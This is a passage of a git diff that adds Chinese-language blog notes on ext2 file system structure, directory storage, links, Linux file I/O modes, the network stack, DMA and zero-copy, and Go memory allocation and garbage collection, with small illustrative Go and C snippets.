每一个块组的构成: +> 超级块--块组描述符--数据位图--Innode 位图--Innode 列表-- 数据块 +> 最前⾯的第⼀个块是引导块,在系统启动时⽤于启⽤引导,接着后⾯就是⼀个⼀个连续的块组了,块组的内容如下: + +- 超级块,包含的是⽂件系统的重要信息,⽐如 inode 总个数、块总个数、每个块组的 inode 个数、每个块组的块个数等等。 +- 块组描述符,包含⽂件系统中各个块组的状态,⽐如块组中空闲块和 inode 的数⽬等,每个块组都包含了⽂件系统中「所有块组的组描述符信息」 +- 数据位图和 inode 位图, ⽤于表示对应的数据块或 inode 是空闲的,还是被使⽤中。 +- inode 列表,包含了块组中所有的 inode,inode ⽤于保存⽂件系统中与各个⽂件和⽬录相关的所有元数据。 +- 数据块,包含⽂件的有⽤数据。 + +可以会发现每个块组⾥有很多重复的信息,⽐如超级块和块组描述符表,这两个都是全局信息,⽽且⾮常的重要,这么做是有两个原因:如果系统崩溃破坏了超级块或块组描述符,有关⽂件系统结构和内容的所有信息都会丢失。如果有冗余的副本,该信息是可能恢复的。通过使⽂件和管理数据尽可能近,减少了磁头寻道和旋转,这可以提⾼⽂件系统的性能。 +不过,Ext2 的后续版本采⽤了稀疏技术。该做法是,超级块和块组描述符表不再存储到⽂件系统的每个块组中,⽽是只写⼊到块组 0、块组 1 和其他 ID 可以表示为 3、 5、7 的幂的块组中。 + +## 7.目录的存储? + +Tips:目录也是文件。(存储在磁盘)InNode(索引节点)块里面的内容是指向具体的数据块。(存储在磁盘)目录块里面存储的内容是一项一项的文件信息。 + +在前⾯,我们知道了⼀个普通⽂件是如何存储的,但还有⼀个特殊的⽂件,经常⽤到的⽬录,它是如何保存的呢?基于 Linux ⼀切皆⽂件的设计思想,⽬录其实也是个⽂件,甚⾄可以通过 vim 打开它,它也有 inode,inode ⾥⾯也是指向⼀些块。和普通⽂件不同的是,普通⽂件的块⾥⾯保存的是⽂件数据,⽽⽬录⽂件的块⾥⾯保存的是⽬录⾥⾯⼀项⼀项的⽂件信息。 + +### 『列表』 + +在⽬录⽂件的块中,最简单的保存格式就是列表,就是⼀项⼀项地将⽬录下的⽂件信息(如⽂件名、⽂件 inode、⽂件类型等)列在表⾥。列表中每⼀项就代表该⽬录下的⽂件的⽂件名和对应的 inode,通过这个 inode,就可以找到真正的⽂件。 + +所以(InNode)索引节点 和目录项,以及列表,他们三者以及真正存储数据的数据块)之间的关系是: + +```go +// 索引节点 +type IndexNode struct{ + DataBlock *DataBlock +} + +// 数据块 +type DataBlock struct{ + Content string +} + +// 目录项 +type DirectoryEntry struct{ + List *List + +} + +type List struct{ + IndexNodes []*IndexNode +} + + +``` + +### 『哈希表』 + +如果⼀个⽬录有超级多的⽂件,我们要想在这个⽬录下找⽂件,按照列表⼀项⼀项的找,效率就不⾼了。 +于是,保存⽬录的格式改成哈希表,对⽂件名进⾏哈希计算,把哈希值保存起来,如果我们要查找⼀个⽬录下⾯的⽂件名,可以通过名称取哈希。如果哈希能够匹配上,就说明这个⽂件的信息在相应的块⾥⾯。 +Linux 系统的 ext ⽂件系统就是采⽤了哈希表,来保存⽬录的内容,这种⽅法的优点是查找⾮常迅速,插⼊和删除也较简单,不过需要⼀些预备措施来避免哈希冲突。 +⽬录查询是通过在磁盘上反复搜索完成,需要不断地进⾏ I/O 操作,开销较⼤。所以,为了 +减少 I/O 操作,把当前使⽤的⽂件⽬录缓存在内存,以后要使⽤该⽂件时只要在内存中操作,从⽽降低了磁盘操作次数,提⾼了⽂件系统的访问速度。 + +## 8.软链接个硬链接 + +有时候我们希望给某个⽂件取个别名,那么在 Linux 中可以通过硬链接(Hard Link) 和软链接(Symbolic Link) 的⽅式来实现,它们都是⽐较特殊的⽂件,但是实现⽅式也是不相同的。 + +硬链接是多个⽬录项中的「索引节点」指向⼀个⽂件,也就是指向同⼀个 inode,但是 inode 是不可能跨越⽂件系统的,每个⽂件系统都有各⾃的 inode 数据结构和列表,所以硬链接是 +不可⽤于跨⽂件系统的。由于多个⽬录项都是指向⼀个 inode,那么**只有删除⽂件的所有硬链接以及源⽂件时,系统才会彻底删除该⽂件**。 + +软链接相当于重新创建⼀个⽂件,这个⽂件有独⽴的 inode,但是这个⽂件的内容是另外⼀个⽂件的路径,所以访问软链接的时候,实际上相当于访问到了另外⼀个⽂件,所以软链接是可以跨⽂件系统的,甚⾄⽬标⽂件被删除了,链接⽂件还是在的,只不过指向的⽂件找不到了⽽已。 + +## 9.文件 I/O + +### 『缓冲和非缓冲』 + +⽂件操作的标准库是可以实现数据的缓存,那么根据**是否利⽤标准库缓冲**,可以把⽂件 I/O 分为缓冲 I/O 和⾮缓冲 I/O: + +- 缓冲 I/O:利⽤的是标准库的缓存实现⽂件的加速访问,⽽标准库再通过系统调⽤访问⽂件。 +- ⾮缓冲 I/O,直接通过系统调⽤访问⽂件,不经过标准库缓存. + +这⾥所说的「缓冲」特指标准库内部实现的缓冲。⽐⽅说,很多程序遇到换⾏时才真正输出,⽽换⾏前的内容,其实就是被标准库暂时缓存了起来,这样做的⽬的是,减少系统调⽤的次数,毕竟系统调⽤是有 CPU 上下⽂切换的开销的。 + +### 『直接和非直接』 + +我们都知道磁盘 I/O 是⾮常慢的,所以 Linux 内核为了减少磁盘 I/O 次数,在系统调⽤后,会把⽤户数据拷⻉到内核中缓存起来,这个内核缓存空间也就是「⻚缓存」,只有当缓存满⾜某些条件的时候,才发起磁盘 I/O 的请求。 + +根据是「**是否否利⽤操作系统的缓存**」,可以把⽂件 I/O 分为直接 I/O 与⾮直接 I/O: + +- 直接 I/O:不会发⽣内核缓存和⽤户程序之间数据复制,⽽是直接经过⽂件系统访问磁盘。 +- ⾮直接 I/O,读操作时,数据从**内核缓存**中拷⻉给⽤户程序,写操作时,数据从⽤户程序拷⻉给**内核缓存**,再由内核决定什么时候写⼊数据到磁盘。 + +如果在使⽤⽂件操作类的系统调⽤函数时,指定了 O_DIRECT 标志,则表示使⽤直接 I/O。。如果没有设置过,默认使⽤的是⾮直接 I/O。如果⽤了⾮直接 I/O 进⾏写数据操作,内核什么情况下才会把缓存数据写⼊到磁盘? + +以下⼏种场景会触发内核缓存的数据写⼊磁盘? + +- 在调⽤ write 的最后,当发现内核缓存的数据太多的时候,内核会把数据写到磁盘上; +- ⽤户主动调⽤ sync ,内核缓存会刷到磁盘上; +- 当内存⼗分紧张,⽆法再分配⻚⾯时,也会把内核缓存的数据刷到磁盘上; +- 内核缓存的数据的缓存时间超过某个时间时,也会把数据刷到磁盘上; + +### 『阻塞与非阻塞』 + +阻塞等待的是「**内核数据准备好**」和「**数据从内核态拷⻉到⽤户态**」 + +这两个过程.先来看看阻塞 I/O,当⽤户程序执⾏ read 线程会被阻塞,⼀直等到内核数据准备好,并把数据从内核缓冲区拷⻉到应⽤程序的缓冲区中,当拷⻉过程完成, read 才会返回。 + +知道了阻塞 I/O ,来看看⾮阻塞 I/O,⾮阻塞的 read 请求在数据未准备好的情况下⽴即返回,可以继续往下执⾏,此时应⽤程序不断轮询内核,直到数据准备好,内核将数据拷⻉到应⽤程序缓冲区, read 调⽤才可以获取到结果。 + +注意,这⾥最后⼀次 read 调⽤,获取数据的过程,是⼀个同步的过程,是需要等待的过程。这⾥的同步指的是内核态的数据拷⻉到⽤户程序的缓存区这个过程。举个例⼦,访问管道或 socket 时,如果设置了 O_NONBLOCK 标志,那么就表示使⽤的是⾮阻塞 I/O 的⽅式访问,⽽不做任何设置的话,默认是阻塞 I/O。应⽤程序每次轮询内核的 I/O 是否准备好,感觉有点傻乎乎,因为轮询的过程中,应⽤程序啥也做不了,只是在循环。为了解决这种傻乎乎轮询⽅式,于是 I/O 多路复⽤技术就出来了,如 select、poll,它是通过 I/O 事件分发,当内核数据准备好时,再以事件通知应⽤程序进⾏操作.这个做法⼤⼤改善了应⽤进程对 CPU 的利⽤率,在没有被通知的情况下,应⽤进程可以使⽤ CPU 做其他的事情。下图是使⽤ select I/O 多路复⽤过程。注意, read 获取数据的过程(数据从内核态拷⻉到⽤户态的过程),也是⼀个同步的过程,需要等待: + +实际上,⽆论是阻塞 I/O、⾮阻塞 I/O,还是基于⾮阻塞 I/O 的多路复⽤都是同步调⽤。因为它们在 read 调⽤时,内核将数据从内核空间拷⻉到应⽤程序空间,过程都是需要等待的,也 +就是说这个过程是同步的,如果内核实现的拷⻉效率不⾼,read 调⽤就会在这个同步过程中等待⽐较⻓的时间. + +### 『同步和异步』 + +⽽真正的异步 I/O 是「内核数据准备好」和「数据从内核态拷⻉到⽤户态」这两个过程都不⽤等待。当我们发起 aio_read 之后,就⽴即返回,内核⾃动将数据从内核空间拷⻉到应⽤程序空间,这个拷⻉过程同样是异步的,内核⾃动完成的,和前⾯的同步操作不⼀样,应⽤程序并不需要主动发起拷⻉动作。 + +在前⾯我们知道了,I/O 是分为两个过程的: + +1. 数据准备的过程 +2. 数据从内核空间拷⻉到⽤户进程缓冲区的过程. + +阻塞 I/O 会阻塞在「过程 1 」和「过程 2」,⽽⾮阻塞 I/O 和基于⾮阻塞 I/O 的多路复⽤只会阻塞在「过程 2」,所以这三个都可以认为是同步 I/O。 +异步 I/O 则不同,「过程 1 」和「过程 2 」都不会阻塞。 + +阻塞 I/O 好⽐: +去饭堂吃饭,但是饭堂的菜还没做好,然后就⼀直在那⾥等啊等,等了好⻓⼀段时间终于等到饭堂阿姨把菜端了出来(数据准备的过程),但是还得继续等阿姨把菜(内核空间)打到的饭盒⾥(⽤户空间),经历完这两个过程,才可以离开。⾮阻塞 I/O 好⽐,去了饭堂,问阿姨菜做好了没有,阿姨告诉没,就离开了,过⼏⼗分钟,⼜来饭堂问阿姨,阿姨说做好了,于是阿姨帮把菜打到的饭盒⾥,这个过程是得等待的。 + +基于⾮阻塞的 I/O 多路复⽤好⽐: +去饭堂吃饭,发现有⼀排窗⼝,饭堂阿姨告诉这些窗⼝都还没做好菜,等做好了再通知,于是等啊等( select 调⽤中),过了⼀会阿姨通知菜做好了,但是不知道哪个窗⼝的菜做好了,⾃⼰看吧。于是只能⼀个⼀个窗⼝去确认,后⾯发现 5 号窗⼝菜做好了,于是让 5 号窗⼝的阿姨帮打菜到饭盒⾥,这个打菜的过程是要等待的,虽然时间不⻓。打完菜后,⾃然就可以离开了。 + +异步 I/O 好⽐: +让饭堂阿姨将菜做好并把菜打到饭盒⾥后,把饭盒送到⾯前,整个过程都不需要任何等待。 diff --git a/_posts/2022-11-24-test-markdown.md b/_posts/2022-11-24-test-markdown.md new file mode 100644 index 000000000000..f99b4a539f2b --- /dev/null +++ b/_posts/2022-11-24-test-markdown.md @@ -0,0 +1,186 @@ +--- +layout: post +title: 网络系统? +subtitle: +tags: [网络系统] +--- + +# Linux 网络系统 + +## 1.网络模型 + +为了使得多种设备能通过⽹络相互通信,和为了解决各种不同设备在⽹络互联中的兼容性问题,国际标标准化组织制定了开放式系统互联通信参考模型(pen System InterconnectionReference Model),也就是 OSI ⽹络模型,该模型主要有 7 层,第一层:应用层、表示层、会话层、传输层、网络层、数据链路层以及物理层。 +每一层负责的职能都不同,如下: + +- 应用层:负责给应用程序提供统一的接口 +- 表示层:负责把数据转化成兼容另外一个系统能识别的格式。 +- 会话层:负责建立、管理、和终止实体之间的通信会话。 +- 传输层:负责端到端的数据传输 +- 网络层:负责数据的路由、转发、分片 +- 数据链路层,负责数据的封帧和差错检查、以及 mac 地址 +- 物理层:负责在物理网络中传输数据帧。 +- 由于 OSI 模型实在太复杂,提出的也只是概念理论上的层,并没有提供具体的实现⽅案。事实上,我们⽐较常⻅,也⽐较实⽤的是四层模型,即 TCP/IP ⽹络模型,Linux 系统正是按照这套⽹络模型来实现⽹络协议栈的。 1.应用层:负责向用户提供一组应用程序 HTTP 、DNS、FTP 2.传输层:负责端到端的通信 3.网络层:负责网络包的封装、分片、路由、转发 IP、ICMP 4.网络接口层:负责网络包在物理网络中的传输,比如网络包的封帧、MAC 寻找址,差错检测、以及通过网卡传输网络帧。 + +## 2.Linux ⽹络协议栈 + +我们可以把⾃⼰的身体⽐作应⽤层中的数据,打底⾐服⽐作传输层中的 TCP 头,外套⽐作⽹络层中 IP 头,帽⼦和鞋⼦分别⽐作⽹络接⼝层的帧头和帧尾。在冬天这个季节,当我们要从家⾥出去玩的时候,⾃然要先穿个打底⾐服,再套上保暖外套,最后穿上帽⼦和鞋⼦才出⻔,这个过程就好像我们把 TCP 协议通信的⽹络包发出去的时候,会把应⽤层的数据按照⽹络协议栈层层封装和处理。从下⾯这张图可以看到,应⽤层数据在每⼀层的封装格式。 + +其中: + +- 传输层,给应⽤数据前⾯增加了 TCP 头; +- ⽹络层,给 TCP 数据包前⾯增加了 IP 头; +- ⽹络接⼝层,给 IP 数据包前后分别增加了帧头和帧尾这些新增和头部和尾部,都有各⾃的作⽤,也都是按照特定的协议格式填充,这每⼀层都增加了各⾃的协议头,那⾃然⽹络包的⼤⼩就增⼤了,但物理链路并不能传输任意⼤⼩的数据包,所以在以太⽹中,规定了最⼤传输单元(MTU)是 1500 字节,也就是规定了单次传输的最⼤ IP 包⼤⼩。当⽹络包超过 MTU 的⼤⼩,就会在⽹络层分⽚,以确保分⽚后的 IP 包不会超过 MTU ⼤⼩,如果 MTU 越⼩,需要的分包就越多,那么⽹络吞吐能⼒就越差,相反的,如果 MTU 越⼤,需要的分包就越⼩,那么⽹络吞吐能⼒就越好。知道了 TCP/IP ⽹络模型,以及⽹络包的封装原理后,那么 Linux ⽹络协议栈的样⼦,想必猜到了⼤概,它其实就类似于 TCP/IP 的四层结构: + +第一层: 应用程序 +第二层: 系统调用 +(LVS) +第三层: Socket +(TCP)(UDP) (ICMP) +第四层: IP +(ARP) +第五层: MAC +网卡驱动程序 +网卡 + +- 应用系统通过系统调用来跟 Socket 层进行数据交互 +- Socket 层下面就是传输层、网络层、和网络接口层 +- 最下面是网卡驱动程序和硬件网卡设备 + +## 3.Linux 接收⽹络包的流程 + +⽹卡是计算机⾥的⼀个硬件,专⻔负责接收和发送⽹络包,当⽹卡接收到⼀个⽹络包后,会通过 DMA 技术,将⽹络包放⼊到 Ring Buffer,这个是⼀个环形缓冲区。那接收到⽹络包后,应该怎么告诉操作系统这个⽹络包已经到达了呢?最简单的⼀种⽅式就是触发中断,也就是每当⽹卡收到⼀个⽹络包,就触发⼀个中断告诉操作系统。但是,这存在⼀个问题,在⾼性能⽹络场景下,⽹络包的数量会⾮常多,那么就会触发⾮常多的中断,要知道当 CPU 收到了中断,就会停下⼿⾥的事情,⽽去处理这些⽹络包,处理完毕后,才会回去继续其他事情,那么频繁地触发中断,则会导致 CPU ⼀直没玩没了的处理中断,⽽导致其他任务可能⽆法继续前进,从⽽影响系统的整体效率。所以为了解决频繁中断带来的性能开销。 + +Linux 内核在 2.6 版本中引⼊了 NAPI 机制,它是混合「中断和轮询」的⽅式来接收⽹络包,它的核⼼概念就是不采⽤中断的⽅式读取数据,⽽是⾸先采⽤中断唤醒『接收数据的』服务程序,然后 poll 的⽅法来轮询数据。 +Tips:中断用来唤醒『接收数据的』服务程序,poll 的方式来轮询处理数据。 + +过程? +网络包到达网卡,网卡发起中断,于是执行网卡硬件的中断处理程序,中断程序执行完毕,执行『暂时屏蔽中断』,然后唤醒『软中断』来轮询数据,直到没有新数据时才恢复中断,这样一次中断处理多个网络包,于是降低网卡中断带来的性能开销。 + +软中断怎么执行? +从 RingBuffer 拷贝数据的到内核 struct sk_buff 缓冲区中,从而可以作为一个网络包交给网络协议栈逐层处理。⾸先,会先进⼊到⽹络接⼝层,在这⼀层会检查报⽂的合法性,如果不合法则丢弃,合法则会找出该⽹络包的上层协议的类型,⽐如是 IPv4,还是 IPv6,接着再去掉帧头和帧尾,然后交给⽹络层。到了⽹络层,则取出 IP 包,判断⽹络包下⼀步的⾛向,⽐如是交给上层处理还是转发出去。当确认这个⽹络包要发送给本机后,就会从 IP 头⾥看看上⼀层协议的类型是 TCP 还是 UDP,接着去掉 IP 头,然后交给传输层。传输层取出 TCP 头或 UDP 头,根据四元组「源 IP、源端⼝、⽬的 IP、⽬的端⼝」 作为标识,找出对应的 Socket,并把数据拷⻉到 Socket 的接收缓冲区。最后,应⽤层程序调⽤ Socket 接⼝,从内核的 Socket 接收缓冲区读取新到来的数据到应⽤层。 +⾄此,⼀个⽹络包的接收过程就已经结束了。 + +## 4.Linux 发送⽹络包的流程? + +1- 用户态切换内核态,把应用数据拷贝到 Socket 发送缓冲区。 +应⽤程序会调⽤ Socket 发送数据包的接⼝,由于这个是系统调⽤,所以会从⽤户态陷⼊到内核态中的 Socket 层,Socket 层会将应⽤层数据拷⻉到 Socket 发送缓冲区中。 +2- 从 Socket 缓冲区取出数据包,然后传输层加+(TCP 头)/(UDP 头),然后网络层+(IP 头)、查路由表、得下一跳的 IP、分片 。准备好之后,那么就触发中断告诉网卡驱动程序这里有网络包要发送。然后网卡驱动程序通过 DMA,从发包队列中读取网络包,然后把这些放到硬件网卡的队列中间,然后物理网卡再把它发送出去 +按照 TCP/IP 协议栈从上到下逐层处理。如果使⽤的是 TCP 传输协议发送数据,那么会在传输层增加 TCP 包头,然后交给⽹络层,⽹络层会给数据包增加 IP 包,然后通过查询路由表确认下⼀跳的 IP,并按照 MTU ⼤⼩进⾏分⽚。分⽚后的⽹络包,就会被送到⽹络接⼝层,在这⾥会通过 ARP 协议获得下⼀跳的 MAC 地址,然后增加帧头和帧尾,放到发包队列中。 + +## 5.Tips + +电脑与电脑之间通常都是通话⽹卡、交换机、路由器等⽹络设备连接到⼀起,那由于⽹络设备的异构性,国际标准化组织定义了⼀个七层的 OSI ⽹络模型,但是这个模型由于⽐较复 +杂,实际应⽤中并没有采⽤,⽽是采⽤了更为简化的 TCP/IP 模型,Linux ⽹络协议栈就是按照了该模型来实现的。 +TCP/IP 模型主要分为应⽤层、传输层、⽹络层、⽹络接⼝层四层,每⼀层负责的职责都不同,这也是 Linux ⽹络协议栈主要构成部分。当应⽤程序通过 Socket 接⼝发送数据包,数据包会被⽹络协议栈从上到下进⾏逐层处理后,才会被送到⽹卡队列中,随后由⽹卡将⽹络包发送出去。⽽在接收⽹络包时,同样也要先经过⽹络协议栈从下到上的逐层处理,最后才会被送到应⽤程序。 + +# 零值拷贝? + +## DMA? + +> Direct Memory Access 直接访问内存技术 +> 在 I/O 设备和内存进行数据传输的时候,数据传输的工作交给 DMA 控制器,CPU 不再参与任何和数据相关的搬运工作。 + +- CPU 发出对应的指令给磁盘控制器,然后返回; +- 磁盘控制器开始准备数据,然后把数据放到磁盘内部的缓冲,然后产生一个中断; +- CPU 收到中断信号,然后把磁盘缓冲区的数据一次一个字节一个的读进自己的寄存器,然后把寄存器的数据写入到内存。在数据传输的期间,CPU 无法执行其他的任务。 +- 在数据的传输期间。CPU 是无法做其他的事情的。 + +问题:简单的搬运⼏个字符数据那没问题,但是如果我们⽤千兆⽹卡或者硬盘传输⼤量数据的时候,都⽤ CPU 来搬运的话,肯定忙不过来。 + +计算机科学家们发现了事情的严重性后,于是就发明了 DMA 技术,也就是直接内存访问(Direct Memory Access) 技术。在进⾏ I/O 设备和内存的数据传输的时候,数据搬运的⼯作全部交给 DMA 控制器,⽽ CPU 不再参与任何与数据搬运相关的事情,这样 CPU 就可以去处理别的事务。 + +#### 过程? + +- 用户调用 read(),向操作系统发出 I/O 请求,请求读取数据到自己的内存缓冲区,进程进入阻塞状态。 + +- 操作系统收到请求后,进一步将 I/O 请求发送 DMA ,然后 CPU 继续执行自己的任务。 + +- DMA 把请求发送给磁盘, +- 磁盘收到 DMA 的请求,将磁盘的数据读取到磁盘控制器的缓冲区,磁盘控制器的缓冲区满的时候,向 DMA 发出信号,告诉 DMA 自己已经满了。 +- DMA 收到磁盘的信号,将磁盘控制器缓冲区的数据拷贝到内核的缓冲区,此时不占用 CPU。 +- DMA 读取链足够多的数据的时候,这个时候,发送中断信号给 CPU,CPU 把数据从内核拷贝到用户空间,系统调用返回。 + +步骤: +磁盘拷贝数据到磁盘控制器的缓冲区——DMA 拷贝磁盘控制器的缓冲区的数据到内核——CPU 拷贝内核的数据到用户空间。(CPU 拷贝的前提是 DMA 告诉它内核空间已经有足够多的数据) + +注意点: +CPU 告诉 DMA 区复制数据 +DMA 告诉 CPU 已经赋值的足够多了 +早期的 DMA 在主板,现在每个 I/O 设备都有自己的 DMA 控制器 + +#### 传统的⽂件传输? + +> 如果服务端要提供⽂件传输的功能,我们能想到的最简单的⽅式是:将磁盘上的⽂件读取出来,然后通过⽹络协议发送给客户端。 + +传统的 I/O 工作设备的方式是: + +用户数据的读取和写入——> 用户空间到内核空间的数据的读取和写入 + +内核空间数据的读取和写入——> 调用操作系统层面的 I/O 接口从磁盘读取和写入。 + +⾸先,期间共发⽣了 4 次⽤户态与内核态的上下⽂切换,因为发⽣了两次系统调⽤,⼀次是 read() ,⼀次是 write() ,每次系统调⽤都得先从⽤户态切换到内核态,等内核完成任务后,再从内核态切换回⽤户态。 + +上下⽂切换到成本并不⼩,⼀次切换需要耗时⼏⼗纳秒到⼏微秒,虽然时间看上去很短,但是在⾼并发的场景下,这类时间容易被累积和放⼤,从⽽影响系统的性能。其次,还发⽣了 4 次数据拷⻉,其中两次是 DMA 的拷⻉,另外两次则是通过 CPU 拷⻉的,下⾯说⼀下这个过程: + +- 第⼀次拷⻉,把磁盘上的数据拷⻉到操作系统内核的缓冲区⾥,这个拷⻉的过程是通过 DMA 搬运的。 +- 第⼆次拷⻉,把内核缓冲区的数据拷⻉到⽤户的缓冲区⾥,于是我们应⽤程序就可以使⽤这部分数据了,这个拷⻉到过程是由 CPU 完成的。 +- 第三次拷⻉,把刚才拷⻉到⽤户的缓冲区⾥的数据,再拷⻉到内核的 socket 的缓冲区⾥,这个过程依然还是由 CPU 搬运的。 +- 第四次拷⻉,把内核的 socket 缓冲区⾥的数据,拷⻉到⽹卡的缓冲区⾥,这个过程⼜是由 DMA 搬运的。 + +#### 如何优化⽂件传输的性能? + +> 操作设备的动作要交给内核去完成。(用户没有这个权限)一次操作系统的调用,发生两次上下文的切换 + +读取磁盘数据的时候,之所以要发⽣上下⽂切换,这是因为⽤户空间没有权限操作磁盘或⽹卡,内核的权限最⾼,这些操作设备的过程都需要交由操作系统内核来完成,所以⼀般要通过内核去完成某些任务的时候,就需要使⽤操作系统提供的系统调⽤函数。⽽⼀次系统调⽤必然会发⽣ 2 次上下⽂切换:⾸先从⽤户态切换到内核态,当内核执⾏完任务后,再切换回⽤户态交由进程代码执⾏。 + +#### 如何减少「数据拷⻉」的次数? + +> 文件传输的过程中,在用户空间不会对文件进行再加工。所以没有必要把数据搬运到内核空间。 + +传统的⽂件传输⽅式会历经 4 次数据拷⻉,⽽且这⾥⾯,「从内核的读缓冲区拷⻉到⽤户的缓冲区⾥,再从⽤户的缓冲区⾥拷⻉到 socket 的缓冲区⾥」,这个过程是没有必要的。因为⽂件传输的应⽤场景中,在⽤户空间我们并不会对数据「再加⼯」,所以数据实际上可以不⽤搬运到⽤户空间,因此⽤户的缓冲区是没有必要存在的。 + +#### 如何实现零拷⻉? + +> 本质:把内核空间的数据映射到用户缓冲区 + +> 零拷⻉技术实现的⽅式通常有 2 种: +> mmap + write +> sendfile +> 下⾯就谈⼀谈,它们是如何减少「上下⽂切换」和「数据拷⻉」的次数。 + +> mmmap 替换 Read() + +mmap + write +在前⾯我们知道, read() 系统调⽤的过程中会把内核缓冲区的数据拷⻉到⽤户的缓冲区⾥,于是为了减少这⼀步开销,我们可以⽤ mmap() 替换 read() 系统调⽤函数。 + +``` +buf = mmap(file, len); +write(sockfd, buf, len); +``` + +> mmap() 系统调⽤函数会直接把内核缓冲区⾥的数据「映射」到⽤户空间,这样,操作系统 + +内核与⽤户空间就不需要再进⾏任何的数据拷⻉操作。 + +具体过程? + +- 应用进程调用 mmap()后,DMA 把磁盘数据拷贝到内核缓冲区 +- 然后,应用系统和操作系统共享内核缓冲区 +- 应用进程再调用 write(),操作系统直接把内核缓冲数据拷贝到 socket 缓冲区。(再内核态由 CPU 来搬运数据) +- 最后,内核的 Socket 缓冲区的数据,拷贝到网卡缓冲区,这个过程由 DMA 搬运。 + +但这还不是最理想的零拷⻉,因为仍然需要通过 CPU 把内核缓冲区的数据拷⻉到 socket 缓冲区⾥,⽽且仍然需要 4 次上下⽂切换,因为系统调⽤还是 2 次。 + +sendfile +在 Linux 内核版本 2.1 中,提供了⼀个专⻔发送⽂件的系统调⽤函数 sendfile() ,函数形 +式如下: + +```c +#include +ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count); +``` + +它的前两个参数分别是⽬的端和源端的⽂件描述符,后⾯两个参数是源端的偏移量和复制数据的⻓度,返回值是实际复制数据的⻓度。⾸先,它可以替代前⾯的 read() 和 write() 这两个系统调⽤,这样就可以减少⼀次系统调⽤,也就减少了 2 次上下⽂切换的开销。 + +它的前两个参数分别是⽬的端和源端的⽂件描述符,后⾯两个参数是源端的偏移量和复制数据的⻓度,返回值是实际复制数据的⻓度。 +⾸先,它可以替代前⾯的 read() 和 write() 这两个系统调⽤,这样就可以减少⼀次系统调⽤,也就减少了 2 次上下⽂切换的开销。其次,该系统调⽤,可以直接把内核缓冲区⾥的数据拷⻉到 socket 缓冲区⾥,不再拷⻉到⽤户态,这样就只有 2 次上下⽂切换,和 3 次数据拷⻉ diff --git a/_posts/2022-11-25-test-markdown.md b/_posts/2022-11-25-test-markdown.md new file mode 100644 index 000000000000..d5b9186520d2 --- /dev/null +++ b/_posts/2022-11-25-test-markdown.md @@ -0,0 +1,133 @@ +--- +layout: post +title: GC算法? +subtitle: +tags: [GC] +--- + +## 1.清除/整理/复制 + +- 标记-清除 +- 标记-整理 +- 标记-复制 + +#### 线性分配 + +应用代表:Java(如果使用 Serial, ParNew 等带有 Compact 过程的收集器时,采用分配的方式为线性分配)线性分配器回收内存因为线性分配器具有上述特性,所以需要与合适的垃圾回收算法配合使用,例如:标记压缩(Mark-Compact)、复制回收(Copying GC)和分代回收(Generational GC)等算法,它们可以通过拷贝的方式整理存活对象的碎片,将空闲内存定期合并,这样就能利用线性分配器的效率提升内存分配器的性能了。因为线性分配器需要与具有拷贝特性的垃圾回收算法配合,所以 C 和 C++ 等需要直接对外暴露指针的语言就无法使用该策略 + +问题:内存碎片 +解决方式:GC 算法中加入「复制/整理」阶段 + +#### 空闲链表分配 + +空闲链表分配器(Free-List Allocator)可以重用已经被释放的内存,它在内部会维护一个类似链表的数据结构。当用户程序申请内存时,空闲链表分配器会依次遍历空闲的内存块,找到足够大的内存,然后申请新的资源并修改链表. + +空闲链表分配器因为不同的内存块通过指针构成了链表,所以使用这种方式的分配器可以重新利用回收的资源,但是因为分配内存时需要遍历链表,所以它的时间复杂度是 O(n)。空闲链表分配器可以选择不同的策略在链表中的内存块中进行选择,最常见的是以下四种: +首次适应(First-Fit)— 从链表头开始遍历,选择第一个大小大于申请内存的内存块; +循环首次适应(Next-Fit)— 从上次遍历的结束位置开始遍历,选择第一个大小大于申请内存的内存块; +最优适应(Best-Fit)— 从链表头遍历整个链表,选择最合适的内存块; +隔离适应(Segregated-Fit)— 将内存分割成多个链表,每个链表中的内存块大小相同,申请内存时先找到满足条件的链表,再从链表中选择合适的内存块; + +应用代表:GO、Java(如果使用 CMS 这种基于标记-清除,采用分配的方式为空闲链表分配) + +问题:相比线性分配方式的 bump-pointer 分配操作(top += size),空闲链表的分配操作过重,例如在 GO 程序的 pprof 图中经常可以看到 mallocgc() 占用了比较多的 CPU; + +## 2.内存分配方式 + +> Golang 采用了基于空闲链表分配方式的 TCMalloc 算法。 + +```go +type TCMAlloc struct{ + FrontEnd FrontEnd + MiddleEnd MiddleEnd + BackEnd BackEnd +} +//----------------------- +type FrontEnd struct{ + PerThreadCache PerThreadCache + PerCPUCache PerCPUCache +} + +type PerThreadCache struct{ + +} + +type PerCPUCache struct{ + +} + +//------------------------------ +type MiddleEnd struct{ + TransferCache TransferCache + +} + +type TransferCache struct{ + CentralFreeList CentralFreeList +} + +type CentralFreeList struct{ + +} +// --------------------------- +type BackEnd struct{ + LegacyPageHeap LegacyPageHeap + HugepageAwarePageHeap HugepageAwarePageHeap +} + +type LegacyPageHeap struct{ + +} + +type HugepageAwarePageHeap struct{ + +} + +``` + +- Front-end:它是一个内存缓存,提供了快速分配和重分配内存给应用的功能。它主要由 2 部分组成:Per-thread cache 和 Per-CPU cache +- Middle-end:职责是给 Front-end 提供缓存。也就是说当 Front-end 缓存内存不够用时,从 Middle-end 申请内存。它主要是 Central free list 这部分内容。 +- Back-end:这一块是负责从操作系统获取内存,并给 Middle-end 提供缓存使用。它主要涉及 Page Heap 内容。TCMalloc 将整个虚拟内存空间划分为 n 个同等大小的 Page。将 n 个连续的 page 连接在一起组成一个 Span.PageHeap 向 OS 申请内存,申请的 span 可能只有一个 page,也可能有 n 个 page。ThreadCache 内存不够用会向 CentralCache 申请,CentralCache 内存不够用时会向 PageHeap 申请,PageHeap 不够用就会向 OS 操作系统申请。 + +## 3.GC 算法 + +> Golang 采用了基于并发『标记与清扫』算法的『三色标记法』。 +> Golang GC 的四个阶段 + +#### 1.Mark Prepare - STW + +做标记阶段的准备工作,需要停止所有正在运行的 goroutine(即 STW),标记根对象,启用内存屏障,内存屏障有点像内存读写钩子,它用于在后续并发标记的过程中,维护三色标记的完备性(三色不变性),这个过程通常很快,大概在 10-30 微秒。 + +#### 2.关于 GC 触发阈值 + +- GC 开始时内存使用量:GC trigger; +- GC 标记完成时内存使用量:Heap size at GC completion; +- GC 标记完成时的存活内存量:图中标记的 Previous marked heap size 为上一轮的 GC 标记完成时的存活内存量; +- 本轮 GC 标记完成时的预期内存使用量:Goal heap size + +#### 存在问题 + +GC Marking - Concurrent 阶段,这个阶段有三个问题: +1- GC 协程和业务协程是并行运行的,大概会占用 25% 的 